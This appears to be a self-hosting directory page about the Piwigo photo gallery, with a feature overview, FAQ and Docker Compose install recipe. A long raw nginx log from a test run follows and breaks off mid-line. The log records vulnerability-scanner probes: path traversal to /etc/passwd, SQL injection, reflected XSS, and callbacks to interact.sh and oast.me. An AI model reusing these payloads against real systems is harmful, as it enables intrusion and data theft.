Piwigo is a self-hosted photo gallery replacing Google Photos and Photobucket with privacy-first album permissions and uncompressed storage.
Piwigo has powered self-hosted photo galleries since 2002, when it launched under the name PhpWebGallery on a standard LAMP stack. Today, the open-source software manages photo collections across independent servers and organizational archives without sending media to remote machine-learning pipelines or ad networks. It gives administrators full web-based control over their files, databases, and visitor permissions.
Google Photos and iCloud Photos treat personal pictures as captive cloud data, scanning files for machine learning and charging recurring fees for storage tiers. Piwigo stores your library on your own server or home NAS using standard folder structures and a MariaDB or MySQL database. Administrators set granular access permissions, deciding which albums stay private, which are shared with family members, and which are public. No corporate algorithms scan your pictures, and your archive remains under your direct control.
That control comes with less automation. Google Photos provides automated background uploads from smartphones and automated facial recognition. In contrast, Piwigo requires intentional uploads through its mobile app, and running the software demands basic server upkeep, such as managing PHP memory limits and database backups. For households and organizations prioritizing data sovereignty over algorithmic tagging, Piwigo delivers complete ownership without recurring subscription costs.
Is Piwigo free to use? Yes, the self-hosted edition is open-source photo backup software with no license fee, though managed hosting is available at Piwigo.com.
Piwigo vs Google Photos — which should I choose? Choose Google Photos if you need hands-off background camera uploads and automated facial search; choose Piwigo if you want a self-hosted Google Photos alternative with complete data privacy, granular album permissions, and unmetered local storage.
Does Piwigo modify original photo files? No, Piwigo preserves your original images and embedded EXIF metadata without alteration on disk, creating downscaled derivative copies only for web browser previews.
Piwigo is the right choice for households and archivists who prioritize data privacy and album structure over automated cloud tagging; it is not suited for users expecting hands-off background camera roll backups. Active updates through late 2026 and a GPL-2.0 license ensure long-term independence from cloud subscription lock-in, making it a reliable foundation for your personal media library.
We started this exact setup from scratch in a clean Linux machine on Nov 3, 2026 and checked it through Piwigo's own API: every check passed. Recipes are re-checked regularly and removed if they stop working.
mkdir -p piwigo && cd piwigo
curl -fsSL https://open-source.store/tools/piwigo/compose.yml -o compose.ymlcat > .env <<EOF
TIMEZONE=UTC
DB_USER_PASSWORD=$(openssl rand -hex 12)
MARIADB_ROOT_PASSWORD=$(openssl rand -hex 12)
EOFTIMEZONE — Timezone for the application and database container (e.g. UTC).DB_USER_PASSWORD — Password for the Piwigo MariaDB database user. Generated above; keep it secret.MARIADB_ROOT_PASSWORD — Root administrative password for the MariaDB database server. Generated above; keep it secret.docker compose up -dservices:
piwigo-main:
image: piwigo/piwigo:16.4.0
restart: always
environment:
TZ: ${TIMEZONE}
PIWIGO_UID: "1000"
PIWIGO_GID: "1000"
ports:
- "8080:80"
depends_on:
piwigo-db:
condition: service_healthy
volumes:
- piwigo-data:/var/www/html/piwigo
healthcheck:
test: ["CMD-SHELL", "curl -f -s http://localhost/ || exit 1"]
interval: 5s
timeout: 5s
retries: 20
start_period: 15s
piwigo-db:
image: mariadb:11.4.13
restart: always
environment:
MARIADB_DATABASE: piwigodb
MARIADB_USER: piwigodb_user
MARIADB_PASSWORD: ${DB_USER_PASSWORD}
MARIADB_ROOT_PASSWORD: ${MARIADB_ROOT_PASSWORD}
TZ: ${TIMEZONE}
volumes:
- piwigo-db-data:/var/lib/mysql
healthcheck:
test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
interval: 5s
timeout: 5s
retries: 20
start_period: 10s
volumes:
piwigo-data:
piwigo-db-data:
Free IDE for Java, Kotlin, Go, TypeScript and Python. Built on IntelliJ Community, fully open source, 300+ plugins.
Show that Piwigo is listed as an open-source alternative. Paste into your README:
Ubuntu 24.04 · Apple container, Docker 29.1.3, Compose 2.40.3+ds1-0ubuntu1~24.04.1. Images pulled in 57 s: mariadb:11.4.13, piwigo/piwigo:16.4.0.
Based on the upstream setup. Official compose from Piwigo Docker repository. Pinned images to 16.4.0 and mariadb:11.4.13 with healthchecks added; passwords and timezone moved to .env; volumes converted to named volumes.
piwigo-main-1 | 2026-11-03T06:27:16.201638262Z 2026/11/03 06:27:16 [error] 4869#4869: *17202 "/var/www/html/piwigo/sabnzbd/wizard/index.php" is not found (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /sabnzbd/wizard/ HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.201686512Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /.azure-pipelines.yml HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.201688804Z 2026/11/03 06:27:16 [error] 4869#4869: *17200 open() "/var/www/html/piwigo/.azure-pipelines.yml" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /.azure-pipelines.yml HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.201689762Z 2026/11/03 06:27:16 [error] 4870#4870: *17199 open() "/var/www/html/piwigo/json/reply/RequestLogs" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /json/reply/RequestLogs HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.201690512Z 2026/11/03 06:27:16 [error] 4869#4869: *17201 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00 HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.201708595Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00 HTTP/1.1" 404 27 "-" "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:16.201719470Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /json/reply/RequestLogs HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.202238304Z 2026/11/03 06:27:16 [error] 4869#4869: *17112 open() "/var/www/html/piwigo/config.properties" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /config.properties HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.202261262Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /config.properties HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363" piwigo-main-1 | 2026-11-03T06:27:16.202777929Z 2026/11/03 06:27:16 [error] 4869#4869: *17209 open() "/var/www/html/piwigo/azure-pipelines.yml" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /azure-pipelines.yml HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.202801304Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /azure-pipelines.yml HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0" piwigo-main-1 | 2026-11-03T06:27:16.202971804Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /index.php?option=com_vjdeo&controller=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 2809 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0" piwigo-main-1 | 2026-11-03T06:27:16.203059012Z 2026/11/03 06:27:16 [error] 4869#4869: *17241 "/var/www/html/piwigo/api/v1/terminal/sessions/index.php" is not found (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /api/v1/terminal/sessions/ HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.203060929Z 2026/11/03 06:27:16 [error] 4870#4870: *17229 open() "/var/www/html/piwigo/iuap-apcom-workbench/ucf-wh/yonbiplogin/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.png.js" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /iuap-apcom-workbench/ucf-wh/yonbiplogin/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.png.js HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.203079095Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /iuap-apcom-workbench/ucf-wh/yonbiplogin/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.png.js HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/16.2 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:16.203218554Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /api/v1/terminal/sessions/ HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/617.29 (KHTML, like Gecko) Version/17.7 Safari/617.29" piwigo-main-1 | 2026-11-03T06:27:16.203250345Z 2026/11/03 06:27:16 [error] 4869#4869: *17239 "/var/www/html/piwigo/api/v1/terminal/sessions/index.php" is not found (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /api/v1/terminal/sessions/ HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.203278970Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /api/v1/terminal/sessions/ HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:16.203408304Z 2026/11/03 06:27:16 [error] 4870#4870: *17225 open() "/var/www/html/piwigo/haproxy" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /haproxy?stats HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.203449887Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /haproxy?stats HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0" piwigo-main-1 | 2026-11-03T06:27:16.203586179Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 2809 "-" "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:16.203631554Z 2026/11/03 06:27:16 [error] 4869#4869: *17174 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /homeautomation_v3_3_2/api.php?do=groups/toggle&groupid=1&status=1&redirect=https://interact.sh/ HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.203654345Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /homeautomation_v3_3_2/api.php?do=groups/toggle&groupid=1&status=1&redirect=https://interact.sh/ HTTP/1.1" 404 27 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.203763887Z 2026/11/03 06:27:16 [error] 4869#4869: *17246 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /photoalbum/index.php?urlancien&url=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.203767012Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /photoalbum/index.php?urlancien&url=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 27 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0" piwigo-main-1 | 2026-11-03T06:27:16.203776762Z 2026/11/03 06:27:16 [error] 4870#4870: *17238 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.203795929Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 404 27 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/604.1" piwigo-main-1 | 2026-11-03T06:27:16.203831595Z 2026/11/03 06:27:16 [error] 4870#4870: *17237 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.203874095Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 404 27 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.203921345Z 2026/11/03 06:27:16 [error] 4869#4869: *17245 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /photoalbum/index.php?urlancien&url=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.203969220Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /photoalbum/index.php?urlancien&url=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 27 "-" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:16.204368929Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 2809 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.1" piwigo-main-1 | 2026-11-03T06:27:16.204505845Z 2026/11/03 06:27:16 [error] 4870#4870: *17236 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /install/install.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.204544595Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /install/install.php HTTP/1.1" 404 27 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:16.204685429Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /install.php HTTP/1.1" 200 38 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.204807220Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /metrics/healthcheck HTTP/1.1" 404 153 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.11" piwigo-main-1 | 2026-11-03T06:27:16.204809720Z 2026/11/03 06:27:16 [error] 4870#4870: *17228 open() "/var/www/html/piwigo/metrics/healthcheck" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /metrics/healthcheck HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.205196845Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 HTTP/1.1" 200 2809 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/115.0" piwigo-main-1 | 2026-11-03T06:27:16.205234262Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /install.php HTTP/1.1" 200 38 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/7.0" piwigo-main-1 | 2026-11-03T06:27:16.205591429Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 HTTP/1.1" 200 2809 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.205697137Z 2026/11/03 06:27:16 [error] 4870#4870: *17218 open() "/var/www/html/piwigo/..;/monitoring" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /..%3B/monitoring HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.205709887Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /..%3B/monitoring HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3.1 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.205759720Z 2026/11/03 06:27:16 [error] 4869#4869: *17212 open() "/var/www/html/piwigo/good_job/jobs" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /good_job/jobs HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.205778137Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /good_job/jobs HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" piwigo-main-1 | 2026-11-03T06:27:16.205865470Z 2026/11/03 06:27:16 [error] 4870#4870: *17225 open() "/var/www/html/piwigo/good_job/jobs" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /good_job/jobs HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.205868262Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /good_job/jobs HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0" piwigo-main-1 | 2026-11-03T06:27:16.205940720Z 2026/11/03 06:27:16 [error] 4870#4870: *17226 open() "/var/www/html/piwigo/dumpmdm.cmd" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /dumpmdm.cmd HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.205943137Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /dumpmdm.cmd HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.206197095Z 2026/11/03 06:27:16 [error] 4870#4870: *17216 open() "/var/www/html/piwigo/haproxy" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /haproxy?stats HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.206198429Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /haproxy?stats HTTP/1.1" 404 153 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" piwigo-main-1 | 2026-11-03T06:27:16.206871637Z 2026/11/03 06:27:16 [error] 4869#4869: *17244 open() "/var/www/html/piwigo/..;/monitoring" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /..%3B/monitoring HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.206892762Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /..%3B/monitoring HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" piwigo-main-1 | 2026-11-03T06:27:16.207124095Z 2026/11/03 06:27:16 [error] 4870#4870: *17218 open() "/var/www/html/piwigo/config.properties.bak" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /config.properties.bak HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.207177470Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /config.properties.bak HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:16.207406387Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /wizard/ HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" piwigo-main-1 | 2026-11-03T06:27:16.207415720Z 2026/11/03 06:27:16 [error] 4869#4869: *17204 "/var/www/html/piwigo/wizard/index.php" is not found (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /wizard/ HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.207565429Z 2026/11/03 06:27:16 [error] 4869#4869: *17212 open() "/var/www/html/piwigo/metrics/threads" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /metrics/threads HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.207656929Z 2026/11/03 06:27:16 [error] 4870#4870: *17227 open() "/var/www/html/piwigo/serverless.yaml" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /serverless.yaml HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.207660345Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /metrics/threads HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0.1 (x64 de)" piwigo-main-1 | 2026-11-03T06:27:16.207661179Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 200 2809 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nl-nl) AppleWebKit/527+ (KHTML, like Gecko) Version/3.1.1 Safari/525.20" piwigo-main-1 | 2026-11-03T06:27:16.207662095Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /serverless.yaml HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.6.25" piwigo-main-1 | 2026-11-03T06:27:16.207975970Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 200 2809 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_10_3 rv:2.0; so-DJ) AppleWebKit/533.15.6 (KHTML, like Gecko) Version/4.0.2 Safari/533.15.6" piwigo-main-1 | 2026-11-03T06:27:16.208388970Z 2026/11/03 06:27:16 [error] 4870#4870: *17271 open() "/var/www/html/piwigo/\../ssl/yaws-key.pem" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /%5C../ssl/yaws-key.pem HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.208396220Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /%5C../ssl/yaws-key.pem HTTP/1.1" 404 153 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/4.0" piwigo-main-1 | 2026-11-03T06:27:16.208428137Z 2026/11/03 06:27:16 [error] 4869#4869: *17270 open() "/var/www/html/piwigo/\../ssl/yaws-key.pem" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /%5C../ssl/yaws-key.pem HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.208441387Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /%5C../ssl/yaws-key.pem HTTP/1.1" 404 555 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:16.209197637Z 2026/11/03 06:27:16 [error] 4869#4869: *17112 open() "/var/www/html/piwigo/serverless.yaml" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /serverless.yaml HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.209199887Z 2026/11/03 06:27:16 [error] 4870#4870: *17199 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /pmb/opac_css/pmb.php?url=https://oast.me&hash=9c4438eb62929d9b535fb6fe98223c5e HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.209258929Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /serverless.yaml HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.209263845Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /pmb/opac_css/pmb.php?url=https://oast.me&hash=9c4438eb62929d9b535fb6fe98223c5e HTTP/1.1" 404 27 "-" "Mozilla/5.0 (Windows NT 10.0; rv:140.0) Gecko/20100101 Firefox/140.0" piwigo-main-1 | 2026-11-03T06:27:16.209264679Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /dumpmdm.cmd HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.209266845Z 2026/11/03 06:27:16 [error] 4869#4869: *17201 open() "/var/www/html/piwigo/dumpmdm.cmd" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /dumpmdm.cmd HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.210184970Z 2026/11/03 06:27:16 [error] 4869#4869: *17266 "/var/www/html/piwigo/wizard/index.php" is not found (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /wizard/ HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.210189429Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /wizard/ HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.210575845Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /_ignition/scripts/--%3E%3Csvg%20onload=alert%28document.domain%29%3E HTTP/1.1" 404 153 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0" piwigo-main-1 | 2026-11-03T06:27:16.210579179Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /examples/jsp/num/numguess.jsp?guess=5&hint=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.210580304Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /?layout=/etc/passwd HTTP/1.1" 200 2809 "-" "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:16.210590179Z 2026/11/03 06:27:16 [error] 4869#4869: *17266 open() "/var/www/html/piwigo/_ignition/scripts/--><svg onload=alert(document.domain)>" failed (2: No such file or directory), client: 192.168.65.202, 